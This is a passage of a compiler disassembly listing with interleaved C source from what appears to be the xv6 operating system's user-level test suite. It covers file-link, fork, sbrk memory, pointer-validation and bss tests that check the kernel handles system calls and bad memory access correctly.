2af0: e8 cc 0d 00 00 call 38c1 <exit>
printf(1, "write . succeeded!\n");
2af5: 51 push %ecx
2af6: 51 push %ecx
2af7: 68 11 4b 00 00 push $0x4b11
2afc: 6a 01 push $0x1
2afe: e8 6d 0f 00 00 call 3a70 <printf>
exit();
2b03: e8 b9 0d 00 00 call 38c1 <exit>
printf(1, "open . for writing succeeded!\n");
2b08: 53 push %ebx
2b09: 53 push %ebx
2b0a: 68 08 53 00 00 push $0x5308
2b0f: 6a 01 push $0x1
2b11: e8 5a 0f 00 00 call 3a70 <printf>
exit();
2b16: e8 a6 0d 00 00 call 38c1 <exit>
printf(1, "unlink dirfile failed!\n");
2b1b: 50 push %eax
2b1c: 50 push %eax
2b1d: 68 f9 4a 00 00 push $0x4af9
2b22: 6a 01 push $0x1
2b24: e8 47 0f 00 00 call 3a70 <printf>
exit();
2b29: e8 93 0d 00 00 call 38c1 <exit>
printf(1, "link to dirfile/xx succeeded!\n");
2b2e: 50 push %eax
2b2f: 50 push %eax
2b30: 68 e8 52 00 00 push $0x52e8
2b35: 6a 01 push $0x1
2b37: e8 34 0f 00 00 call 3a70 <printf>
exit();
2b3c: e8 80 0d 00 00 call 38c1 <exit>
printf(1, "unlink dirfile/xx succeeded!\n");
2b41: 50 push %eax
2b42: 50 push %eax
2b43: 68 d4 4a 00 00 push $0x4ad4
2b48: 6a 01 push $0x1
2b4a: e8 21 0f 00 00 call 3a70 <printf>
exit();
2b4f: e8 6d 0d 00 00 call 38c1 <exit>
printf(1, "mkdir dirfile/xx succeeded!\n");
2b54: 50 push %eax
2b55: 50 push %eax
2b56: 68 b7 4a 00 00 push $0x4ab7
2b5b: 6a 01 push $0x1
2b5d: e8 0e 0f 00 00 call 3a70 <printf>
exit();
2b62: e8 5a 0d 00 00 call 38c1 <exit>
2b67: 89 f6 mov %esi,%esi
2b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00002b70 <iref>:
{
2b70: 55 push %ebp
2b71: 89 e5 mov %esp,%ebp
2b73: 53 push %ebx
printf(1, "empty file name\n");
2b74: bb 33 00 00 00 mov $0x33,%ebx
{
2b79: 83 ec 0c sub $0xc,%esp
printf(1, "empty file name\n");
2b7c: 68 35 4b 00 00 push $0x4b35
2b81: 6a 01 push $0x1
2b83: e8 e8 0e 00 00 call 3a70 <printf>
2b88: 83 c4 10 add $0x10,%esp
2b8b: 90 nop
2b8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(mkdir("irefd") != 0){
2b90: 83 ec 0c sub $0xc,%esp
2b93: 68 46 4b 00 00 push $0x4b46
2b98: e8 8c 0d 00 00 call 3929 <mkdir>
2b9d: 83 c4 10 add $0x10,%esp
2ba0: 85 c0 test %eax,%eax
2ba2: 0f 85 bb 00 00 00 jne 2c63 <iref+0xf3>
if(chdir("irefd") != 0){
2ba8: 83 ec 0c sub $0xc,%esp
2bab: 68 46 4b 00 00 push $0x4b46
2bb0: e8 7c 0d 00 00 call 3931 <chdir>
2bb5: 83 c4 10 add $0x10,%esp
2bb8: 85 c0 test %eax,%eax
2bba: 0f 85 b7 00 00 00 jne 2c77 <iref+0x107>
mkdir("");
2bc0: 83 ec 0c sub $0xc,%esp
2bc3: 68 fb 41 00 00 push $0x41fb
2bc8: e8 5c 0d 00 00 call 3929 <mkdir>
link("README", "");
2bcd: 59 pop %ecx
2bce: 58 pop %eax
2bcf: 68 fb 41 00 00 push $0x41fb
2bd4: 68 f2 4a 00 00 push $0x4af2
2bd9: e8 43 0d 00 00 call 3921 <link>
fd = open("", O_CREATE);
2bde: 58 pop %eax
2bdf: 5a pop %edx
2be0: 68 00 02 00 00 push $0x200
2be5: 68 fb 41 00 00 push $0x41fb
2bea: e8 12 0d 00 00 call 3901 <open>
if(fd >= 0)
2bef: 83 c4 10 add $0x10,%esp
2bf2: 85 c0 test %eax,%eax
2bf4: 78 0c js 2c02 <iref+0x92>
close(fd);
2bf6: 83 ec 0c sub $0xc,%esp
2bf9: 50 push %eax
2bfa: e8 ea 0c 00 00 call 38e9 <close>
2bff: 83 c4 10 add $0x10,%esp
fd = open("xx", O_CREATE);
2c02: 83 ec 08 sub $0x8,%esp
2c05: 68 00 02 00 00 push $0x200
2c0a: 68 30 47 00 00 push $0x4730
2c0f: e8 ed 0c 00 00 call 3901 <open>
if(fd >= 0)
2c14: 83 c4 10 add $0x10,%esp
2c17: 85 c0 test %eax,%eax
2c19: 78 0c js 2c27 <iref+0xb7>
close(fd);
2c1b: 83 ec 0c sub $0xc,%esp
2c1e: 50 push %eax
2c1f: e8 c5 0c 00 00 call 38e9 <close>
2c24: 83 c4 10 add $0x10,%esp
unlink("xx");
2c27: 83 ec 0c sub $0xc,%esp
2c2a: 68 30 47 00 00 push $0x4730
2c2f: e8 dd 0c 00 00 call 3911 <unlink>
for(i = 0; i < 50 + 1; i++){
2c34: 83 c4 10 add $0x10,%esp
2c37: 83 eb 01 sub $0x1,%ebx
2c3a: 0f 85 50 ff ff ff jne 2b90 <iref+0x20>
chdir("/");
2c40: 83 ec 0c sub $0xc,%esp
2c43: 68 21 3e 00 00 push $0x3e21
2c48: e8 e4 0c 00 00 call 3931 <chdir>
printf(1, "empty file name OK\n");
2c4d: 58 pop %eax
2c4e: 5a pop %edx
2c4f: 68 74 4b 00 00 push $0x4b74
2c54: 6a 01 push $0x1
2c56: e8 15 0e 00 00 call 3a70 <printf>
}
2c5b: 83 c4 10 add $0x10,%esp
2c5e: 8b 5d fc mov -0x4(%ebp),%ebx
2c61: c9 leave
2c62: c3 ret
printf(1, "mkdir irefd failed\n");
2c63: 83 ec 08 sub $0x8,%esp
2c66: 68 4c 4b 00 00 push $0x4b4c
2c6b: 6a 01 push $0x1
2c6d: e8 fe 0d 00 00 call 3a70 <printf>
exit();
2c72: e8 4a 0c 00 00 call 38c1 <exit>
printf(1, "chdir irefd failed\n");
2c77: 83 ec 08 sub $0x8,%esp
2c7a: 68 60 4b 00 00 push $0x4b60
2c7f: 6a 01 push $0x1
2c81: e8 ea 0d 00 00 call 3a70 <printf>
exit();
2c86: e8 36 0c 00 00 call 38c1 <exit>
2c8b: 90 nop
2c8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00002c90 <forktest>:
{
2c90: 55 push %ebp
2c91: 89 e5 mov %esp,%ebp
2c93: 53 push %ebx
for(n=0; n<1000; n++){
2c94: 31 db xor %ebx,%ebx
{
2c96: 83 ec 0c sub $0xc,%esp
printf(1, "fork test\n");
2c99: 68 88 4b 00 00 push $0x4b88
2c9e: 6a 01 push $0x1
2ca0: e8 cb 0d 00 00 call 3a70 <printf>
2ca5: 83 c4 10 add $0x10,%esp
2ca8: eb 13 jmp 2cbd <forktest+0x2d>
2caa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(pid == 0)
2cb0: 74 4a je 2cfc <forktest+0x6c>
for(n=0; n<1000; n++){
2cb2: 83 c3 01 add $0x1,%ebx
2cb5: 81 fb e8 03 00 00 cmp $0x3e8,%ebx
2cbb: 74 6b je 2d28 <forktest+0x98>
pid = fork();
2cbd: e8 f7 0b 00 00 call 38b9 <fork>
if(pid < 0)
2cc2: 85 c0 test %eax,%eax
2cc4: 79 ea jns 2cb0 <forktest+0x20>
for(; n > 0; n--){
2cc6: 85 db test %ebx,%ebx
2cc8: 74 14 je 2cde <forktest+0x4e>
2cca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(wait() < 0){
2cd0: e8 f4 0b 00 00 call 38c9 <wait>
2cd5: 85 c0 test %eax,%eax
2cd7: 78 28 js 2d01 <forktest+0x71>
for(; n > 0; n--){
2cd9: 83 eb 01 sub $0x1,%ebx
2cdc: 75 f2 jne 2cd0 <forktest+0x40>
if(wait() != -1){
2cde: e8 e6 0b 00 00 call 38c9 <wait>
2ce3: 83 f8 ff cmp $0xffffffff,%eax
2ce6: 75 2d jne 2d15 <forktest+0x85>
printf(1, "fork test OK\n");
2ce8: 83 ec 08 sub $0x8,%esp
2ceb: 68 ba 4b 00 00 push $0x4bba
2cf0: 6a 01 push $0x1
2cf2: e8 79 0d 00 00 call 3a70 <printf>
}
2cf7: 8b 5d fc mov -0x4(%ebp),%ebx
2cfa: c9 leave
2cfb: c3 ret
exit();
2cfc: e8 c0 0b 00 00 call 38c1 <exit>
printf(1, "wait stopped early\n");
2d01: 83 ec 08 sub $0x8,%esp
2d04: 68 93 4b 00 00 push $0x4b93
2d09: 6a 01 push $0x1
2d0b: e8 60 0d 00 00 call 3a70 <printf>
exit();
2d10: e8 ac 0b 00 00 call 38c1 <exit>
printf(1, "wait got too many\n");
2d15: 52 push %edx
2d16: 52 push %edx
2d17: 68 a7 4b 00 00 push $0x4ba7
2d1c: 6a 01 push $0x1
2d1e: e8 4d 0d 00 00 call 3a70 <printf>
exit();
2d23: e8 99 0b 00 00 call 38c1 <exit>
printf(1, "fork claimed to work 1000 times!\n");
2d28: 50 push %eax
2d29: 50 push %eax
2d2a: 68 28 53 00 00 push $0x5328
2d2f: 6a 01 push $0x1
2d31: e8 3a 0d 00 00 call 3a70 <printf>
exit();
2d36: e8 86 0b 00 00 call 38c1 <exit>
2d3b: 90 nop
2d3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00002d40 <sbrktest>:
{
2d40: 55 push %ebp
2d41: 89 e5 mov %esp,%ebp
2d43: 57 push %edi
for(i = 0; i < 5000; i++){
2d44: 31 ff xor %edi,%edi
{
2d46: 56 push %esi
2d47: 53 push %ebx
2d48: 83 ec 54 sub $0x54,%esp
printf(stdout, "sbrk test\n");
2d4b: 68 c8 4b 00 00 push $0x4bc8
2d50: ff 35 70 5e 00 00 pushl 0x5e70
2d56: e8 15 0d 00 00 call 3a70 <printf>
oldbrk = sbrk(0);
2d5b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2d62: e8 e2 0b 00 00 call 3949 <sbrk>
a = sbrk(0);
2d67: c7 04 24 00 00 00 00 movl $0x0,(%esp)
oldbrk = sbrk(0);
2d6e: 89 c3 mov %eax,%ebx
a = sbrk(0);
2d70: e8 d4 0b 00 00 call 3949 <sbrk>
2d75: 83 c4 10 add $0x10,%esp
2d78: 89 c6 mov %eax,%esi
for(i = 0; i < 5000; i++){
2d7a: eb 06 jmp 2d82 <sbrktest+0x42>
2d7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
a = b + 1;
2d80: 89 c6 mov %eax,%esi
b = sbrk(1);
2d82: 83 ec 0c sub $0xc,%esp
2d85: 6a 01 push $0x1
2d87: e8 bd 0b 00 00 call 3949 <sbrk>
if(b != a){
2d8c: 83 c4 10 add $0x10,%esp
2d8f: 39 f0 cmp %esi,%eax
2d91: 0f 85 84 02 00 00 jne 301b <sbrktest+0x2db>
for(i = 0; i < 5000; i++){
2d97: 83 c7 01 add $0x1,%edi
*b = 1;
2d9a: c6 06 01 movb $0x1,(%esi)
a = b + 1;
2d9d: 8d 46 01 lea 0x1(%esi),%eax
for(i = 0; i < 5000; i++){
2da0: 81 ff 88 13 00 00 cmp $0x1388,%edi
2da6: 75 d8 jne 2d80 <sbrktest+0x40>
pid = fork();
2da8: e8 0c 0b 00 00 call 38b9 <fork>
2dad: 89 c7 mov %eax,%edi
if(pid < 0){
2daf: 85 c0 test %eax,%eax
2db1: 0f 88 91 03 00 00 js 3148 <sbrktest+0x408>
c = sbrk(1);
2db7: 83 ec 0c sub $0xc,%esp
if(c != a + 1){
2dba: 83 c6 02 add $0x2,%esi
c = sbrk(1);
2dbd: 6a 01 push $0x1
2dbf: e8 85 0b 00 00 call 3949 <sbrk>
c = sbrk(1);
2dc4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dcb: e8 79 0b 00 00 call 3949 <sbrk>
if(c != a + 1){
2dd0: 83 c4 10 add $0x10,%esp
2dd3: 39 f0 cmp %esi,%eax
2dd5: 0f 85 56 03 00 00 jne 3131 <sbrktest+0x3f1>
if(pid == 0)
2ddb: 85 ff test %edi,%edi
2ddd: 0f 84 49 03 00 00 je 312c <sbrktest+0x3ec>
wait();
2de3: e8 e1 0a 00 00 call 38c9 <wait>
a = sbrk(0);
2de8: 83 ec 0c sub $0xc,%esp
2deb: 6a 00 push $0x0
2ded: e8 57 0b 00 00 call 3949 <sbrk>
2df2: 89 c6 mov %eax,%esi
amt = (BIG) - (uint)a;
2df4: b8 00 00 40 06 mov $0x6400000,%eax
2df9: 29 f0 sub %esi,%eax
p = sbrk(amt);
2dfb: 89 04 24 mov %eax,(%esp)
2dfe: e8 46 0b 00 00 call 3949 <sbrk>
if (p != a) {
2e03: 83 c4 10 add $0x10,%esp
2e06: 39 c6 cmp %eax,%esi
2e08: 0f 85 07 03 00 00 jne 3115 <sbrktest+0x3d5>
a = sbrk(0);
2e0e: 83 ec 0c sub $0xc,%esp
*lastaddr = 99;
2e11: c6 05 ff ff 3f 06 63 movb $0x63,0x63fffff
a = sbrk(0);
2e18: 6a 00 push $0x0
2e1a: e8 2a 0b 00 00 call 3949 <sbrk>
c = sbrk(-4096);
2e1f: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
a = sbrk(0);
2e26: 89 c6 mov %eax,%esi
c = sbrk(-4096);
2e28: e8 1c 0b 00 00 call 3949 <sbrk>
if(c == (char*)0xffffffff){
2e2d: 83 c4 10 add $0x10,%esp
2e30: 83 f8 ff cmp $0xffffffff,%eax
2e33: 0f 84 c5 02 00 00 je 30fe <sbrktest+0x3be>
c = sbrk(0);
2e39: 83 ec 0c sub $0xc,%esp
2e3c: 6a 00 push $0x0
2e3e: e8 06 0b 00 00 call 3949 <sbrk>
if(c != a - 4096){
2e43: 8d 96 00 f0 ff ff lea -0x1000(%esi),%edx
2e49: 83 c4 10 add $0x10,%esp
2e4c: 39 d0 cmp %edx,%eax
2e4e: 0f 85 93 02 00 00 jne 30e7 <sbrktest+0x3a7>
a = sbrk(0);
2e54: 83 ec 0c sub $0xc,%esp
2e57: 6a 00 push $0x0
2e59: e8 eb 0a 00 00 call 3949 <sbrk>
c = sbrk(4096);
2e5e: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
a = sbrk(0);
2e65: 89 c6 mov %eax,%esi
c = sbrk(4096);
2e67: e8 dd 0a 00 00 call 3949 <sbrk>
if(c != a || sbrk(0) != a + 4096){
2e6c: 83 c4 10 add $0x10,%esp
c = sbrk(4096);
2e6f: 89 c7 mov %eax,%edi
if(c != a || sbrk(0) != a + 4096){
2e71: 39 c6 cmp %eax,%esi
2e73: 0f 85 57 02 00 00 jne 30d0 <sbrktest+0x390>
2e79: 83 ec 0c sub $0xc,%esp
2e7c: 6a 00 push $0x0
2e7e: e8 c6 0a 00 00 call 3949 <sbrk>
2e83: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
2e89: 83 c4 10 add $0x10,%esp
2e8c: 39 d0 cmp %edx,%eax
2e8e: 0f 85 3c 02 00 00 jne 30d0 <sbrktest+0x390>
if(*lastaddr == 99){
2e94: 80 3d ff ff 3f 06 63 cmpb $0x63,0x63fffff
2e9b: 0f 84 18 02 00 00 je 30b9 <sbrktest+0x379>
a = sbrk(0);
2ea1: 83 ec 0c sub $0xc,%esp
2ea4: 6a 00 push $0x0
2ea6: e8 9e 0a 00 00 call 3949 <sbrk>
c = sbrk(-(sbrk(0) - oldbrk));
2eab: c7 04 24 00 00 00 00 movl $0x0,(%esp)
a = sbrk(0);
2eb2: 89 c6 mov %eax,%esi
c = sbrk(-(sbrk(0) - oldbrk));
2eb4: e8 90 0a 00 00 call 3949 <sbrk>
2eb9: 89 d9 mov %ebx,%ecx
2ebb: 29 c1 sub %eax,%ecx
2ebd: 89 0c 24 mov %ecx,(%esp)
2ec0: e8 84 0a 00 00 call 3949 <sbrk>
if(c != a){
2ec5: 83 c4 10 add $0x10,%esp
2ec8: 39 c6 cmp %eax,%esi
2eca: 0f 85 d2 01 00 00 jne 30a2 <sbrktest+0x362>
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
2ed0: be 00 00 00 80 mov $0x80000000,%esi
2ed5: 8d 76 00 lea 0x0(%esi),%esi
ppid = getpid();
2ed8: e8 64 0a 00 00 call 3941 <getpid>
2edd: 89 c7 mov %eax,%edi
pid = fork();
2edf: e8 d5 09 00 00 call 38b9 <fork>
if(pid < 0){
2ee4: 85 c0 test %eax,%eax
2ee6: 0f 88 9e 01 00 00 js 308a <sbrktest+0x34a>
if(pid == 0){
2eec: 0f 84 76 01 00 00 je 3068 <sbrktest+0x328>
wait();
2ef2: e8 d2 09 00 00 call 38c9 <wait>
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
2ef7: 81 c6 50 c3 00 00 add $0xc350,%esi
2efd: 81 fe 80 84 1e 80 cmp $0x801e8480,%esi
2f03: 75 d3 jne 2ed8 <sbrktest+0x198>
if(pipe(fds) != 0){
2f05: 83 ec 0c sub $0xc,%esp
2f08: 8d 45 b8 lea -0x48(%ebp),%eax
2f0b: 50 push %eax
2f0c: e8 c0 09 00 00 call 38d1 <pipe>
2f11: 83 c4 10 add $0x10,%esp
2f14: 85 c0 test %eax,%eax
2f16: 0f 85 34 01 00 00 jne 3050 <sbrktest+0x310>
2f1c: 8d 75 c0 lea -0x40(%ebp),%esi
2f1f: 89 f7 mov %esi,%edi
if((pids[i] = fork()) == 0){
2f21: e8 93 09 00 00 call 38b9 <fork>
2f26: 89 07 mov %eax,(%edi)
2f28: 85 c0 test %eax,%eax
2f2a: 0f 84 8f 00 00 00 je 2fbf <sbrktest+0x27f>
if(pids[i] != -1)
2f30: 83 f8 ff cmp $0xffffffff,%eax
2f33: 74 14 je 2f49 <sbrktest+0x209>
read(fds[0], &scratch, 1);
2f35: 83 ec 04 sub $0x4,%esp
2f38: 8d 45 b7 lea -0x49(%ebp),%eax
2f3b: 6a 01 push $0x1
2f3d: 50 push %eax
2f3e: ff 75 b8 pushl -0x48(%ebp)
2f41: e8 93 09 00 00 call 38d9 <read>
2f46: 83 c4 10 add $0x10,%esp
2f49: 83 c7 04 add $0x4,%edi
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
2f4c: 8d 45 e8 lea -0x18(%ebp),%eax
2f4f: 39 c7 cmp %eax,%edi
2f51: 75 ce jne 2f21 <sbrktest+0x1e1>
c = sbrk(4096);
2f53: 83 ec 0c sub $0xc,%esp
2f56: 68 00 10 00 00 push $0x1000
2f5b: e8 e9 09 00 00 call 3949 <sbrk>
2f60: 83 c4 10 add $0x10,%esp
2f63: 89 c7 mov %eax,%edi
if(pids[i] == -1)
2f65: 8b 06 mov (%esi),%eax
2f67: 83 f8 ff cmp $0xffffffff,%eax
2f6a: 74 11 je 2f7d <sbrktest+0x23d>
kill(pids[i]);
2f6c: 83 ec 0c sub $0xc,%esp
2f6f: 50 push %eax
2f70: e8 7c 09 00 00 call 38f1 <kill>
wait();
2f75: e8 4f 09 00 00 call 38c9 <wait>
2f7a: 83 c4 10 add $0x10,%esp
2f7d: 83 c6 04 add $0x4,%esi
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
2f80: 8d 45 e8 lea -0x18(%ebp),%eax
2f83: 39 c6 cmp %eax,%esi
2f85: 75 de jne 2f65 <sbrktest+0x225>
if(c == (char*)0xffffffff){
2f87: 83 ff ff cmp $0xffffffff,%edi
2f8a: 0f 84 a9 00 00 00 je 3039 <sbrktest+0x2f9>
if(sbrk(0) > oldbrk)
2f90: 83 ec 0c sub $0xc,%esp
2f93: 6a 00 push $0x0
2f95: e8 af 09 00 00 call 3949 <sbrk>
2f9a: 83 c4 10 add $0x10,%esp
2f9d: 39 d8 cmp %ebx,%eax
2f9f: 77 61 ja 3002 <sbrktest+0x2c2>
printf(stdout, "sbrk test OK\n");
2fa1: 83 ec 08 sub $0x8,%esp
2fa4: 68 70 4c 00 00 push $0x4c70
2fa9: ff 35 70 5e 00 00 pushl 0x5e70
2faf: e8 bc 0a 00 00 call 3a70 <printf>
}
2fb4: 83 c4 10 add $0x10,%esp
2fb7: 8d 65 f4 lea -0xc(%ebp),%esp
2fba: 5b pop %ebx
2fbb: 5e pop %esi
2fbc: 5f pop %edi
2fbd: 5d pop %ebp
2fbe: c3 ret
sbrk(BIG - (uint)sbrk(0));
2fbf: 83 ec 0c sub $0xc,%esp
2fc2: 6a 00 push $0x0
2fc4: e8 80 09 00 00 call 3949 <sbrk>
2fc9: ba 00 00 40 06 mov $0x6400000,%edx
2fce: 29 c2 sub %eax,%edx
2fd0: 89 14 24 mov %edx,(%esp)
2fd3: e8 71 09 00 00 call 3949 <sbrk>
write(fds[1], "x", 1);
2fd8: 83 c4 0c add $0xc,%esp
2fdb: 6a 01 push $0x1
2fdd: 68 31 47 00 00 push $0x4731
2fe2: ff 75 bc pushl -0x44(%ebp)
2fe5: e8 f7 08 00 00 call 38e1 <write>
2fea: 83 c4 10 add $0x10,%esp
2fed: 8d 76 00 lea 0x0(%esi),%esi
for(;;) sleep(1000);
2ff0: 83 ec 0c sub $0xc,%esp
2ff3: 68 e8 03 00 00 push $0x3e8
2ff8: e8 54 09 00 00 call 3951 <sleep>
2ffd: 83 c4 10 add $0x10,%esp
3000: eb ee jmp 2ff0 <sbrktest+0x2b0>
sbrk(-(sbrk(0) - oldbrk));
3002: 83 ec 0c sub $0xc,%esp
3005: 6a 00 push $0x0
3007: e8 3d 09 00 00 call 3949 <sbrk>
300c: 29 c3 sub %eax,%ebx
300e: 89 1c 24 mov %ebx,(%esp)
3011: e8 33 09 00 00 call 3949 <sbrk>
3016: 83 c4 10 add $0x10,%esp
3019: eb 86 jmp 2fa1 <sbrktest+0x261>
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
301b: 83 ec 0c sub $0xc,%esp
301e: 50 push %eax
301f: 56 push %esi
3020: 57 push %edi
3021: 68 d3 4b 00 00 push $0x4bd3
3026: ff 35 70 5e 00 00 pushl 0x5e70
302c: e8 3f 0a 00 00 call 3a70 <printf>
exit();
3031: 83 c4 20 add $0x20,%esp
3034: e8 88 08 00 00 call 38c1 <exit>
printf(stdout, "failed sbrk leaked memory\n");
3039: 50 push %eax
303a: 50 push %eax
303b: 68 55 4c 00 00 push $0x4c55
3040: ff 35 70 5e 00 00 pushl 0x5e70
3046: e8 25 0a 00 00 call 3a70 <printf>
exit();
304b: e8 71 08 00 00 call 38c1 <exit>
printf(1, "pipe() failed\n");
3050: 52 push %edx
3051: 52 push %edx
3052: 68 11 41 00 00 push $0x4111
3057: 6a 01 push $0x1
3059: e8 12 0a 00 00 call 3a70 <printf>
exit();
305e: e8 5e 08 00 00 call 38c1 <exit>
3063: 90 nop
3064: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(stdout, "oops could read %x = %x\n", a, *a);
3068: 0f be 06 movsbl (%esi),%eax
306b: 50 push %eax
306c: 56 push %esi
306d: 68 3c 4c 00 00 push $0x4c3c
3072: ff 35 70 5e 00 00 pushl 0x5e70
3078: e8 f3 09 00 00 call 3a70 <printf>
kill(ppid);
307d: 89 3c 24 mov %edi,(%esp)
3080: e8 6c 08 00 00 call 38f1 <kill>
exit();
3085: e8 37 08 00 00 call 38c1 <exit>
printf(stdout, "fork failed\n");
308a: 83 ec 08 sub $0x8,%esp
308d: 68 19 4d 00 00 push $0x4d19
3092: ff 35 70 5e 00 00 pushl 0x5e70
3098: e8 d3 09 00 00 call 3a70 <printf>
exit();
309d: e8 1f 08 00 00 call 38c1 <exit>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
30a2: 50 push %eax
30a3: 56 push %esi
30a4: 68 1c 54 00 00 push $0x541c
30a9: ff 35 70 5e 00 00 pushl 0x5e70
30af: e8 bc 09 00 00 call 3a70 <printf>
exit();
30b4: e8 08 08 00 00 call 38c1 <exit>
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
30b9: 51 push %ecx
30ba: 51 push %ecx
30bb: 68 ec 53 00 00 push $0x53ec
30c0: ff 35 70 5e 00 00 pushl 0x5e70
30c6: e8 a5 09 00 00 call 3a70 <printf>
exit();
30cb: e8 f1 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
30d0: 57 push %edi
30d1: 56 push %esi
30d2: 68 c4 53 00 00 push $0x53c4
30d7: ff 35 70 5e 00 00 pushl 0x5e70
30dd: e8 8e 09 00 00 call 3a70 <printf>
exit();
30e2: e8 da 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
30e7: 50 push %eax
30e8: 56 push %esi
30e9: 68 8c 53 00 00 push $0x538c
30ee: ff 35 70 5e 00 00 pushl 0x5e70
30f4: e8 77 09 00 00 call 3a70 <printf>
exit();
30f9: e8 c3 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk could not deallocate\n");
30fe: 53 push %ebx
30ff: 53 push %ebx
3100: 68 21 4c 00 00 push $0x4c21
3105: ff 35 70 5e 00 00 pushl 0x5e70
310b: e8 60 09 00 00 call 3a70 <printf>
exit();
3110: e8 ac 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
3115: 56 push %esi
3116: 56 push %esi
3117: 68 4c 53 00 00 push $0x534c
311c: ff 35 70 5e 00 00 pushl 0x5e70
3122: e8 49 09 00 00 call 3a70 <printf>
exit();
3127: e8 95 07 00 00 call 38c1 <exit>
exit();
312c: e8 90 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk test failed post-fork\n");
3131: 57 push %edi
3132: 57 push %edi
3133: 68 05 4c 00 00 push $0x4c05
3138: ff 35 70 5e 00 00 pushl 0x5e70
313e: e8 2d 09 00 00 call 3a70 <printf>
exit();
3143: e8 79 07 00 00 call 38c1 <exit>
printf(stdout, "sbrk test fork failed\n");
3148: 50 push %eax
3149: 50 push %eax
314a: 68 ee 4b 00 00 push $0x4bee
314f: ff 35 70 5e 00 00 pushl 0x5e70
3155: e8 16 09 00 00 call 3a70 <printf>
exit();
315a: e8 62 07 00 00 call 38c1 <exit>
315f: 90 nop
00003160 <validateint>:
}
3160: c3 ret
3161: eb 0d jmp 3170 <validatetest>
3163: 90 nop
3164: 90 nop
3165: 90 nop
3166: 90 nop
3167: 90 nop
3168: 90 nop
3169: 90 nop
316a: 90 nop
316b: 90 nop
316c: 90 nop
316d: 90 nop
316e: 90 nop
316f: 90 nop
00003170 <validatetest>:
{
3170: 55 push %ebp
3171: 89 e5 mov %esp,%ebp
3173: 56 push %esi
3174: 53 push %ebx
for(p = 0; p <= (uint)hi; p += 4096){
3175: 31 db xor %ebx,%ebx
printf(stdout, "validate test\n");
3177: 83 ec 08 sub $0x8,%esp
317a: 68 7e 4c 00 00 push $0x4c7e
317f: ff 35 70 5e 00 00 pushl 0x5e70
3185: e8 e6 08 00 00 call 3a70 <printf>
318a: 83 c4 10 add $0x10,%esp
318d: 8d 76 00 lea 0x0(%esi),%esi
if((pid = fork()) == 0){
3190: e8 24 07 00 00 call 38b9 <fork>
3195: 89 c6 mov %eax,%esi
3197: 85 c0 test %eax,%eax
3199: 74 63 je 31fe <validatetest+0x8e>
sleep(0);
319b: 83 ec 0c sub $0xc,%esp
319e: 6a 00 push $0x0
31a0: e8 ac 07 00 00 call 3951 <sleep>
sleep(0);
31a5: c7 04 24 00 00 00 00 movl $0x0,(%esp)
31ac: e8 a0 07 00 00 call 3951 <sleep>
kill(pid);
31b1: 89 34 24 mov %esi,(%esp)
31b4: e8 38 07 00 00 call 38f1 <kill>
wait();
31b9: e8 0b 07 00 00 call 38c9 <wait>
if(link("nosuchfile", (char*)p) != -1){
31be: 58 pop %eax
31bf: 5a pop %edx
31c0: 53 push %ebx
31c1: 68 8d 4c 00 00 push $0x4c8d
31c6: e8 56 07 00 00 call 3921 <link>
31cb: 83 c4 10 add $0x10,%esp
31ce: 83 f8 ff cmp $0xffffffff,%eax
31d1: 75 30 jne 3203 <validatetest+0x93>
for(p = 0; p <= (uint)hi; p += 4096){
31d3: 81 c3 00 10 00 00 add $0x1000,%ebx
31d9: 81 fb 00 40 11 00 cmp $0x114000,%ebx
31df: 75 af jne 3190 <validatetest+0x20>
printf(stdout, "validate ok\n");
31e1: 83 ec 08 sub $0x8,%esp
31e4: 68 b1 4c 00 00 push $0x4cb1
31e9: ff 35 70 5e 00 00 pushl 0x5e70
31ef: e8 7c 08 00 00 call 3a70 <printf>
}
31f4: 83 c4 10 add $0x10,%esp
31f7: 8d 65 f8 lea -0x8(%ebp),%esp
31fa: 5b pop %ebx
31fb: 5e pop %esi
31fc: 5d pop %ebp
31fd: c3 ret
exit();
31fe: e8 be 06 00 00 call 38c1 <exit>
printf(stdout, "link should not succeed\n");
3203: 83 ec 08 sub $0x8,%esp
3206: 68 98 4c 00 00 push $0x4c98
320b: ff 35 70 5e 00 00 pushl 0x5e70
3211: e8 5a 08 00 00 call 3a70 <printf>
exit();
3216: e8 a6 06 00 00 call 38c1 <exit>
321b: 90 nop
321c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00003220 <bsstest>:
{
3220: 55 push %ebp
3221: 89 e5 mov %esp,%ebp
3223: 83 ec 10 sub $0x10,%esp
printf(stdout, "bss test\n");
3226: 68 be 4c 00 00 push $0x4cbe
322b: ff 35 70 5e 00 00 pushl 0x5e70
3231: e8 3a 08 00 00 call 3a70 <printf>
if(uninit[i] != '\0'){
3236: 83 c4 10 add $0x10,%esp
3239: 80 3d 40 5f 00 00 00 cmpb $0x0,0x5f40
3240: 75 39 jne 327b <bsstest+0x5b>
for(i = 0; i < sizeof(uninit); i++){
3242: b8 01 00 00 00 mov $0x1,%eax
3247: 89 f6 mov %esi,%esi
